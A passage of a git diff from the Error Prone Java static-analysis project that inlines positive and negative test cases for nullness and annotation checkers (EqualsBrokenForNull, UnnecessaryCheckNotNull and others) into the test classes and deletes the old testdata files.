@Target(ElementType.TYPE_USE) - @interface BindingAnnotation3 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/ScopeAnnotationOnInterfaceOrAbstractClassNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/ScopeAnnotationOnInterfaceOrAbstractClassNegativeCases.java deleted file mode 100644 index 55da405ff78..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/ScopeAnnotationOnInterfaceOrAbstractClassNegativeCases.java +++ /dev/null @@ -1,58 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.Singleton; -import dagger.Component; -import dagger.Subcomponent; -import javax.inject.Scope; - -/** - * Negative test cases in which scoping annotations are used correctly. - * - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class ScopeAnnotationOnInterfaceOrAbstractClassNegativeCases { - - /** A concrete class that has no scoping annotation. */ - public class TestClass1 {} - - /** An abstract class that has no scoping annotation. */ - public abstract class TestClass2 {} - - /** An interface that has no scoping annotation. */ - public interface TestClass3 {} - - /** A concrete class that has scoping annotation. */ - @Singleton - public class TestClass4 {} - - @Scope - @interface CustomScope {} - - /** A concrete class that has a custom annotation. */ - @CustomScope - public class ClassWithCustomScope {} - - @Component - @Singleton - interface DaggerInterfaceComponent { - @Subcomponent - @CustomScope - abstract class DaggerAbstractClassSubcomponent {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/ScopeAnnotationOnInterfaceOrAbstractClassPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/ScopeAnnotationOnInterfaceOrAbstractClassPositiveCases.java deleted file mode 100644 index 25485ada3e9..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/ScopeAnnotationOnInterfaceOrAbstractClassPositiveCases.java +++ /dev/null @@ -1,38 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.Singleton; - -/** - * Positive test cases in which a scoping annotation is put on an interface or anabstract class. The - * suggested fix is to remove the scoping annotation. - * - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class ScopeAnnotationOnInterfaceOrAbstractClassPositiveCases { - - /** An abstract class that has scoping annotation. */ - // BUG: Diagnostic contains: remove - @Singleton - public abstract class TestClass1 {} - - /** An interface interface has scoping annotation. */ - // BUG: Diagnostic contains: remove - @Singleton - public interface TestClass2 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/EqualsBrokenForNullTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/EqualsBrokenForNullTest.java index 9df780fcd38..b60082bf736 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/EqualsBrokenForNullTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/EqualsBrokenForNullTest.java @@ -32,12 +32,328 @@ public class EqualsBrokenForNullTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/EqualsBrokenForNullPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "EqualsBrokenForNullPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.nullness.testdata; + + /** + * Positive test cases for EqualsBrokenForNull check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class EqualsBrokenForNullPositiveCases { + + private class ObjectGetClassArgToEquals { + @Override + // BUG: Diagnostic contains: if (obj == null) { return false; } + public boolean equals(Object obj) { + if (!getClass().equals(obj.getClass())) { + return false; + } + return true; + } + } + + private class ObjectGetClassArgToEqualsMultiLine { + @Override + // BUG: Diagnostic contains: if (obj == null) { return false; } + public boolean equals(Object obj) { + if (this == obj) { + return true; + } + if (!getClass().equals(obj.getClass())) { + return false; + } + return true; + } + } + + private class ObjectGetClassArgToIsAssignableFrom { + @Override + // BUG: Diagnostic contains: if (obj == null) { return false; } + public boolean equals(Object obj) { + if (!getClass().isAssignableFrom(obj.getClass())) { + return false; + } + return true; + } + } + + private class ObjectGetClassArgToEquals2 { + @Override + // BUG: Diagnostic contains: if (obj == null) { return false; } + public boolean equals(Object obj) { + if (!ObjectGetClassArgToEquals2.class.equals(obj.getClass())) { + return false; + } + return true; + } + } + + private class ObjectGetClassReceiverToEquals { + @Override + // BUG: Diagnostic contains: if (obj == null) { return false; } + public boolean equals(Object obj) { + if (!obj.getClass().equals(getClass())) { + return false; + } + return true; + } + } + + private class ObjectGetClassReceiverToEquals2 { + @Override + // BUG: Diagnostic contains: if (obj == null) { return false; } + public boolean equals(Object obj) { + if (!obj.getClass().equals(ObjectGetClassReceiverToEquals2.class)) { + return false; + } + return true; + } + } + + private class ObjectGetClassReceiverToIsAssignableFrom { + @Override + // BUG: Diagnostic contains: if (obj == null) { return false; } + public boolean equals(Object obj) { + if (!obj.getClass().isAssignableFrom(getClass())) { + return false; + } + return true; + } + } + + private class ObjectGetClassLeftOperandDoubleEquals { + @Override + // BUG: Diagnostic contains: if (other == null) { return false; } + public boolean equals(Object other) { + if (other.getClass() == ObjectGetClassLeftOperandDoubleEquals.class) { + return true; + } + return false; + } + } + + private class ObjectGetClassRightOperandDoubleEquals { + @Override + // BUG: Diagnostic contains: if (other == null) { return false; } + public boolean equals(Object other) { + if (ObjectGetClassRightOperandDoubleEquals.class == other.getClass()) { + return true; + } + return false; + } + } + + private class ObjectGetClassLeftOperandNotEquals { + @Override + // BUG: Diagnostic contains: if (obj == null) { return false; } + public boolean equals(Object obj) { + if (obj.getClass() != ObjectGetClassLeftOperandNotEquals.class) { + return false; + } + return true; + } + } + + private class ObjectGetClassRightOperandNotEquals { + @Override + // BUG: Diagnostic contains: if (obj == null) { return false; } + public boolean equals(Object obj) { + if (ObjectGetClassRightOperandNotEquals.class != obj.getClass()) { + return false; + } + return true; + } + } + + private class UnusedNullCheckWithNotEqualToInLeftOperand { + @Override + // BUG: Diagnostic contains: if (o == null) { return false; } + public boolean equals(Object o) { + if (this.getClass() != o.getClass() || o == null) { + return false; + } + return true; + } + } + + private class UnusedNullCheckWithGetClassInEqualsArg { + @Override + // BUG: Diagnostic contains: if (o == null) { return false; } + public boolean equals(Object o) { + if (this.getClass().equals(o.getClass()) || o == null) { + return false; + } + return true; + } + } + + private class UnsafeCastAndNoNullCheck { + private int a; + + @Override + // BUG: Diagnostic contains: if (o == null) { return false; } + public boolean equals(Object o) { + UnsafeCastAndNoNullCheck that = (UnsafeCastAndNoNullCheck) o; + return that.a == a; + } + } + + // Catch a buggy instanceof check that lets nulls through. + private class VerySillyInstanceofCheck { + private int a; + + @Override + // BUG: Diagnostic contains: if (o == null) { return false; } + public boolean equals(Object o) { + if (o != null && !(o instanceof VerySillyInstanceofCheck)) { + return false; + } + VerySillyInstanceofCheck that = (VerySillyInstanceofCheck) o; + return that.a == a; + } + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/EqualsBrokenForNullNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "EqualsBrokenForNullNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.nullness.testdata; + +/** + * Negative test cases for EqualsBrokenForNull check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ +public class EqualsBrokenForNullNegativeCases { + + private class ExplicitNullCheckFirst { + @Override + public boolean equals(Object obj) { + if (obj == null) { + return false; + } + if (!getClass().equals(obj.getClass())) { + return false; + } + return true; + } + } + + private class CheckWithSuperFirst { + @Override + public boolean equals(Object obj) { + if (!super.equals(obj)) { + return false; + } + if (!getClass().equals(obj.getClass())) { + return false; + } + return true; + } + } + + private class NullCheckAndObjectGetClassNotEqualTo { + @Override + public boolean equals(Object o) { + if (o == null || this.getClass() != o.getClass()) { + return false; + } + return true; + } + } + + private class NullCheckAndObjectGetClassArgToEquals { + @Override + public boolean equals(Object obj) { + if (obj != null && !getClass().equals(obj.getClass())) { + return false; + } + return true; + } + } + + private class NullCheckAndObjectGetClassReceiverToEquals { + @Override + public boolean equals(Object obj) { + if (obj != null && !obj.getClass().equals(getClass())) { + return false; + } + return true; + } + } + + private class NullCheckAndObjectGetClassLeftOperandDoubleEquals { + @Override + public boolean equals(Object other) { + if (other != null + && other.getClass() == NullCheckAndObjectGetClassLeftOperandDoubleEquals.class) { + return true; + } + return false; + } + } + + private class UsesInstanceOfWithNullCheck { + @Override + public boolean equals(Object other) { + if (other != null && other instanceof UsesInstanceOfWithNullCheck) { + return true; + } + return false; + } + } + + // https://stackoverflow.com/questions/2950319/is-null-check-needed-before-calling-instanceof + private class UsesInstanceOfWithoutNullCheck { + private int a; + + @Override + public boolean equals(Object other) { + if (other instanceof UsesInstanceOfWithoutNullCheck) { + UsesInstanceOfWithoutNullCheck that = (UsesInstanceOfWithoutNullCheck) other; + return that.a == a; + } + return false; + } + } + + private class IntermediateBooleanVariable { + private int a; + + @Override + public boolean equals(Object other) { + boolean isEqual = other instanceof IntermediateBooleanVariable; + if (isEqual) { + IntermediateBooleanVariable that = (IntermediateBooleanVariable) other; + return that.a == a; + } + return isEqual; + } + } + + private class UnsafeCastWithNullCheck { + private int a; + + @Override + public boolean equals(Object o) { + if (o == null) { + return false; + } + UnsafeCastWithNullCheck that = (UnsafeCastWithNullCheck) o; + return that.a == a; + } + } +}""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/NullablePrimitiveTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/NullablePrimitiveTest.java index 884dfc5b03d..55bd25cc18b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/NullablePrimitiveTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/NullablePrimitiveTest.java @@ -31,12 +31,62 @@ public class NullablePrimitiveTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/NullablePrimitivePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "NullablePrimitivePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.jspecify.annotations.Nullable; + + /** + * @author sebastian.h.monte@gmail.com (Sebastian Monte) + */ + public class NullablePrimitivePositiveCases { + + // BUG: Diagnostic contains: remove + @Nullable + int a; + + public void method( + // BUG: Diagnostic contains: remove + @Nullable + int a) { + } + + // BUG: Diagnostic contains: remove + @Nullable + public int method() { + return 0; + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/NullablePrimitiveNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "NullablePrimitiveNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.jspecify.annotations.Nullable; + + /** + * @author sebastian.h.monte@gmail.com (Sebastian Monte) + */ + public class NullablePrimitiveNegativeCases { + @Nullable Integer a; + + public void method(@Nullable Integer a) {} + + @Nullable + public Integer method() { + return Integer.valueOf(0); + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/UnnecessaryCheckNotNullTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/UnnecessaryCheckNotNullTest.java index 623e08cd2bd..d66509f2596 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/UnnecessaryCheckNotNullTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/UnnecessaryCheckNotNullTest.java @@ -168,25 +168,294 @@ void negative() { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/UnnecessaryCheckNotNullPositiveCase.java").doTest(); + compilationHelper + .addSourceLines( + "UnnecessaryCheckNotNullPositiveCase.java", + """ + package com.google.errorprone.bugpatterns.nullness.testdata; + + import static com.google.common.base.Preconditions.checkNotNull; + import static com.google.common.base.Verify.verifyNotNull; + import static java.util.Objects.requireNonNull; + + import com.google.common.base.Preconditions; + import com.google.common.base.Verify; + import java.util.Objects; + + public class UnnecessaryCheckNotNullPositiveCase { + public void error_checkNotNull() { + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull("string literal"); + + // BUG: Diagnostic contains: remove this line + checkNotNull("string literal"); + + String thing = null; + // BUG: Diagnostic contains: (thing, + checkNotNull("thing is null", thing); + // BUG: Diagnostic contains: + Preconditions.checkNotNull("a string literal " + "that's got two parts", thing); + } + + public void error_verifyNotNull() { + // BUG: Diagnostic contains: remove this line + Verify.verifyNotNull("string literal"); + + // BUG: Diagnostic contains: remove this line + verifyNotNull("string literal"); + + String thing = null; + // BUG: Diagnostic contains: (thing, + verifyNotNull("thing is null", thing); + // BUG: Diagnostic contains: + Verify.verifyNotNull("a string literal " + "that's got two parts", thing); + } + + public void error_requireNonNull() { + // BUG: Diagnostic contains: remove this line + Objects.requireNonNull("string literal"); + + // BUG: Diagnostic contains: remove this line + requireNonNull("string literal"); + + String thing = null; + // BUG: Diagnostic contains: (thing, + requireNonNull("thing is null", thing); + // BUG: Diagnostic contains: + Objects.requireNonNull("a string literal " + "that's got two parts", thing); + } + + public void error_fully_qualified_import_checkNotNull() { + // BUG: Diagnostic contains: remove this line + com.google.common.base.Preconditions.checkNotNull("string literal"); + } + + public void error_fully_qualified_import_verifyNotNull() { + // BUG: Diagnostic contains: remove this line + com.google.common.base.Verify.verifyNotNull("string literal"); + } + + public void error_fully_qualified_import_requireNonNull() { + // BUG: Diagnostic contains: remove this line + java.util.Objects.requireNonNull("string literal"); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/UnnecessaryCheckNotNullNegativeCase.java").doTest(); + compilationHelper + .addSourceLines( + "UnnecessaryCheckNotNullNegativeCase.java", + """ + package com.google.errorprone.bugpatterns.nullness.testdata; + + public class UnnecessaryCheckNotNullNegativeCase { + public void go_checkNotNull() { + Preconditions.checkNotNull("this is ok"); + } + + public void go_verifyNotNull() { + Verify.verifyNotNull("this is ok"); + } + + public void go_requireNonNull() { + Objects.requireNonNull("this is ok"); + } + + private static class Preconditions { + static void checkNotNull(String string) { + System.out.println(string); + } + } + + private static class Verify { + static void verifyNotNull(String string) { + System.out.println(string); + } + } + + private static class Objects { + static void requireNonNull(String string) { + System.out.println(string); + } + } + + public void go() { + Object testObj = null; + com.google.common.base.Preconditions.checkNotNull(testObj, "this is ok"); + com.google.common.base.Verify.verifyNotNull(testObj, "this is ok"); + java.util.Objects.requireNonNull(testObj, "this is ok"); + } + }""") + .doTest(); } @Test public void primitivePositiveCases() { compilationHelper - .addSourceFile("testdata/UnnecessaryCheckNotNullPrimitivePositiveCases.java") + .addSourceLines( + "UnnecessaryCheckNotNullPrimitivePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.nullness.testdata; + + import static com.google.common.base.Preconditions.checkNotNull; + + import com.google.common.base.Preconditions; + + public class UnnecessaryCheckNotNullPrimitivePositiveCases { + + private Tester field = new Tester(); + + public void test() { + Object a = new Object(); + Object b = new Object(); + byte byte1 = 0; + short short1 = 0; + int int1 = 0, int2 = 0; + long long1 = 0; + float float1 = 0; + double double1 = 0; + boolean boolean1 = false, boolean2 = false; + char char1 = 0; + Tester tester = new Tester(); + + // Do we detect all primitive types? + + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull(byte1); + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull(short1); + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull(int1); + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull(long1); + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull(float1); + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull(double1); + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull(boolean1); + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull(char1); + + // Do we give the right suggested fix? + + // BUG: Diagnostic contains: boolean1 = boolean2; + boolean1 = Preconditions.checkNotNull(boolean2); + // BUG: Diagnostic contains: boolean1 = int1 == int2; + boolean1 = Preconditions.checkNotNull(int1 == int2); + // BUG: Diagnostic contains: checkState(tester.hasId()) + Preconditions.checkNotNull(tester.hasId()); + // BUG: Diagnostic contains: checkState(tester.hasId(), "Must have ID!") + Preconditions.checkNotNull(tester.hasId(), "Must have ID!"); + // BUG: Diagnostic contains: checkState(tester.hasId(), "Must have %s!", "ID") + Preconditions.checkNotNull(tester.hasId(), "Must have %s!", "ID"); + + // Do we handle arguments that evaluate to a primitive type? + + // BUG: Diagnostic contains: Preconditions.checkNotNull(a) + Preconditions.checkNotNull(a != null); + // BUG: Diagnostic contains: Preconditions.checkNotNull(a) + Preconditions.checkNotNull(a == null); + // BUG: Diagnostic contains: checkState(int1 == int2) + Preconditions.checkNotNull(int1 == int2); + // BUG: Diagnostic contains: checkState(int1 > int2) + Preconditions.checkNotNull(int1 > int2); + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull(boolean1 ? int1 : int2); + + // Do we handle static imports? + + // BUG: Diagnostic contains: remove this line + checkNotNull(byte1); + // BUG: Diagnostic contains: 'checkState(tester.hasId()) + checkNotNull(tester.hasId()); + } + + public void test2(Tester arg) { + Tester local = new Tester(); + // Do we correctly distinguish checkArgument from checkState? + + // BUG: Diagnostic contains: checkArgument(arg.hasId()) + checkNotNull(arg.hasId()); + // BUG: Diagnostic contains: checkState(field.hasId()) + checkNotNull(field.hasId()); + // BUG: Diagnostic contains: checkState(local.hasId()) + checkNotNull(local.hasId()); + // BUG: Diagnostic contains: checkState(!local.hasId()) + checkNotNull(!local.hasId()); + + // BUG: Diagnostic contains: checkArgument(!(arg instanceof Tester)) + checkNotNull(!(arg instanceof Tester)); + + // BUG: Diagnostic contains: checkState(getTrue()) + checkNotNull(getTrue()); + + // BUG: Diagnostic contains: remove this line + checkNotNull(arg.getId()); + // BUG: Diagnostic contains: id = arg.getId() + int id = checkNotNull(arg.getId()); + + // BUG: Diagnostic contains: boolean b = arg.hasId(); + boolean b = checkNotNull(arg.hasId()); + + // Do we handle long chains of method calls? + + // BUG: Diagnostic contains: checkArgument(arg.getTester().getTester().hasId()) + checkNotNull(arg.getTester().getTester().hasId()); + + // BUG: Diagnostic contains: checkArgument(arg.tester.getTester().hasId()) + checkNotNull(arg.tester.getTester().hasId()); + } + + private boolean getTrue() { + return true; + } + + private static class Tester { + public Tester tester; + + public boolean hasId() { + return true; + } + + public int getId() { + return 10; + } + + public Tester getTester() { + return tester; + } + } + }""") .doTest(); } @Test public void primitiveNegativeCases() { compilationHelper - .addSourceFile("testdata/UnnecessaryCheckNotNullPrimitiveNegativeCases.java") + .addSourceLines( + "UnnecessaryCheckNotNullPrimitiveNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.nullness.testdata; + + import static com.google.common.base.Preconditions.checkNotNull; + + import com.google.common.base.Preconditions; + + public class UnnecessaryCheckNotNullPrimitiveNegativeCases { + public void test() { + Object obj1 = new Object(); + + Preconditions.checkNotNull(obj1); + checkNotNull(obj1); + Preconditions.checkNotNull(obj1, "obj1 should not be null"); + Preconditions.checkNotNull(obj1, "%s should not be null", "obj1"); + Preconditions.checkNotNull(obj1.toString()); + } + }""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/UnsafeWildcardTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/UnsafeWildcardTest.java index 63499033864..9dcf2cc4099 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/UnsafeWildcardTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/UnsafeWildcardTest.java @@ -30,7 +30,54 @@ public class UnsafeWildcardTest { @Test public void unsoundGenericMethod() { - compilationHelper.addSourceFile("testdata/UnsoundGenericMethod.java").doTest(); + compilationHelper + .addSourceLines( + "UnsoundGenericMethod.java", + """ + package com.google.errorprone.bugpatterns.nullness.testdata; + + import static java.util.stream.Collectors.toList; + + import java.util.List; + import java.util.function.Function; + import java.util.stream.Stream; + + public class UnsoundGenericMethod { + public interface Marker {} + + public interface Converter { + List convert(T input); + } + + // error below can be avoided here with "class Impl ..." + private static class Impl implements Function> { + private final Stream> cs; + + private Impl(Stream> cs) { + this.cs = cs; + } + + @Override + public List apply(T input) { + // BUG: Diagnostic contains: Unsafe wildcard in inferred type argument + return cs.map(c -> new Wrap<>(c).handle(input)).collect(toList()); + } + } + + private static class Wrap { + Wrap(Converter unused) {} + + T handle(T input) { + return input; + } + } + + public static void main(String... args) { + // BUG: Diagnostic contains: impossible + new Impl<>(Stream.of(null, null)).apply("boom"); + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/EqualsBrokenForNullNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/EqualsBrokenForNullNegativeCases.java deleted file mode 100644 index 90192ecc4ce..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/EqualsBrokenForNullNegativeCases.java +++ /dev/null @@ -1,143 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.nullness.testdata; - -/** - * Negative test cases for EqualsBrokenForNull check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class EqualsBrokenForNullNegativeCases { - - private class ExplicitNullCheckFirst { - @Override - public boolean equals(Object obj) { - if (obj == null) { - return false; - } - if (!getClass().equals(obj.getClass())) { - return false; - } - return true; - } - } - - private class CheckWithSuperFirst { - @Override - public boolean equals(Object obj) { - if (!super.equals(obj)) { - return false; - } - if (!getClass().equals(obj.getClass())) { - return false; - } - return true; - } - } - - private class NullCheckAndObjectGetClassNotEqualTo { - @Override - public boolean equals(Object o) { - if (o == null || this.getClass() != o.getClass()) { - return false; - } - return true; - } - } - - private class NullCheckAndObjectGetClassArgToEquals { - @Override - public boolean equals(Object obj) { - if (obj != null && !getClass().equals(obj.getClass())) { - return false; - } - return true; - } - } - - private class NullCheckAndObjectGetClassReceiverToEquals { - @Override - public boolean equals(Object obj) { - if (obj != null && !obj.getClass().equals(getClass())) { - return false; - } - return true; - } - } - - private class NullCheckAndObjectGetClassLeftOperandDoubleEquals { - @Override - public boolean equals(Object other) { - if (other != null - && other.getClass() == NullCheckAndObjectGetClassLeftOperandDoubleEquals.class) { - return true; - } - return false; - } - } - - private class UsesInstanceOfWithNullCheck { - @Override - public boolean equals(Object other) { - if (other != null && other instanceof UsesInstanceOfWithNullCheck) { - return true; - } - return false; - } - } - - // https://stackoverflow.com/questions/2950319/is-null-check-needed-before-calling-instanceof - private class UsesInstanceOfWithoutNullCheck { - private int a; - - @Override - public boolean equals(Object other) { - if (other instanceof UsesInstanceOfWithoutNullCheck) { - UsesInstanceOfWithoutNullCheck that = (UsesInstanceOfWithoutNullCheck) other; - return that.a == a; - } - return false; - } - } - - private class IntermediateBooleanVariable { - private int a; - - @Override - public boolean equals(Object other) { - boolean isEqual = other instanceof IntermediateBooleanVariable; - if (isEqual) { - IntermediateBooleanVariable that = (IntermediateBooleanVariable) other; - return that.a == a; - } - return isEqual; - } - } - - private class UnsafeCastWithNullCheck { - private int a; - - @Override - public boolean equals(Object o) { - if (o == null) { - return false; - } - UnsafeCastWithNullCheck that = (UnsafeCastWithNullCheck) o; - return that.a == a; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/EqualsBrokenForNullPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/EqualsBrokenForNullPositiveCases.java deleted file mode 100644 index db11fd050e1..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/EqualsBrokenForNullPositiveCases.java +++ /dev/null @@ -1,197 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.nullness.testdata; - -/** - * Positive test cases for EqualsBrokenForNull check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class EqualsBrokenForNullPositiveCases { - - private class ObjectGetClassArgToEquals { - @Override - // BUG: Diagnostic contains: if (obj == null) { return false; } - public boolean equals(Object obj) { - if (!getClass().equals(obj.getClass())) { - return false; - } - return true; - } - } - - private class ObjectGetClassArgToEqualsMultiLine { - @Override - // BUG: Diagnostic contains: if (obj == null) { return false; } - public boolean equals(Object obj) { - if (this == obj) { - return true; - } - if (!getClass().equals(obj.getClass())) { - return false; - } - return true; - } - } - - private class ObjectGetClassArgToIsAssignableFrom { - @Override - // BUG: Diagnostic contains: if (obj == null) { return false; } - public boolean equals(Object obj) { - if (!getClass().isAssignableFrom(obj.getClass())) { - return false; - } - return true; - } - } - - private class ObjectGetClassArgToEquals2 { - @Override - // BUG: Diagnostic contains: if (obj == null) { return false; } - public boolean equals(Object obj) { - if (!ObjectGetClassArgToEquals2.class.equals(obj.getClass())) { - return false; - } - return true; - } - } - - private class ObjectGetClassReceiverToEquals { - @Override - // BUG: Diagnostic contains: if (obj == null) { return false; } - public boolean equals(Object obj) { - if (!obj.getClass().equals(getClass())) { - return false; - } - return true; - } - } - - private class ObjectGetClassReceiverToEquals2 { - @Override - // BUG: Diagnostic contains: if (obj == null) { return false; } - public boolean equals(Object obj) { - if (!obj.getClass().equals(ObjectGetClassReceiverToEquals2.class)) { - return false; - } - return true; - } - } - - private class ObjectGetClassReceiverToIsAssignableFrom { - @Override - // BUG: Diagnostic contains: if (obj == null) { return false; } - public boolean equals(Object obj) { - if (!obj.getClass().isAssignableFrom(getClass())) { - return false; - } - return true; - } - } - - private class ObjectGetClassLeftOperandDoubleEquals { - @Override - // BUG: Diagnostic contains: if (other == null) { return false; } - public boolean equals(Object other) { - if (other.getClass() == ObjectGetClassLeftOperandDoubleEquals.class) { - return true; - } - return false; - } - } - - private class ObjectGetClassRightOperandDoubleEquals { - @Override - // BUG: Diagnostic contains: if (other == null) { return false; } - public boolean equals(Object other) { - if (ObjectGetClassRightOperandDoubleEquals.class == other.getClass()) { - return true; - } - return false; - } - } - - private class ObjectGetClassLeftOperandNotEquals { - @Override - // BUG: Diagnostic contains: if (obj == null) { return false; } - public boolean equals(Object obj) { - if (obj.getClass() != ObjectGetClassLeftOperandNotEquals.class) { - return false; - } - return true; - } - } - - private class ObjectGetClassRightOperandNotEquals { - @Override - // BUG: Diagnostic contains: if (obj == null) { return false; } - public boolean equals(Object obj) { - if (ObjectGetClassRightOperandNotEquals.class != obj.getClass()) { - return false; - } - return true; - } - } - - private class UnusedNullCheckWithNotEqualToInLeftOperand { - @Override - // BUG: Diagnostic contains: if (o == null) { return false; } - public boolean equals(Object o) { - if (this.getClass() != o.getClass() || o == null) { - return false; - } - return true; - } - } - - private class UnusedNullCheckWithGetClassInEqualsArg { - @Override - // BUG: Diagnostic contains: if (o == null) { return false; } - public boolean equals(Object o) { - if (this.getClass().equals(o.getClass()) || o == null) { - return false; - } - return true; - } - } - - private class UnsafeCastAndNoNullCheck { - private int a; - - @Override - // BUG: Diagnostic contains: if (o == null) { return false; } - public boolean equals(Object o) { - UnsafeCastAndNoNullCheck that = (UnsafeCastAndNoNullCheck) o; - return that.a == a; - } - } - - // Catch a buggy instanceof check that lets nulls through. - private class VerySillyInstanceofCheck { - private int a; - - @Override - // BUG: Diagnostic contains: if (o == null) { return false; } - public boolean equals(Object o) { - if (o != null && !(o instanceof VerySillyInstanceofCheck)) { - return false; - } - VerySillyInstanceofCheck that = (VerySillyInstanceofCheck) o; - return that.a == a; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/NullablePrimitiveNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/NullablePrimitiveNegativeCases.java deleted file mode 100644 index b1194bfa402..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/NullablePrimitiveNegativeCases.java +++ /dev/null @@ -1,33 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package 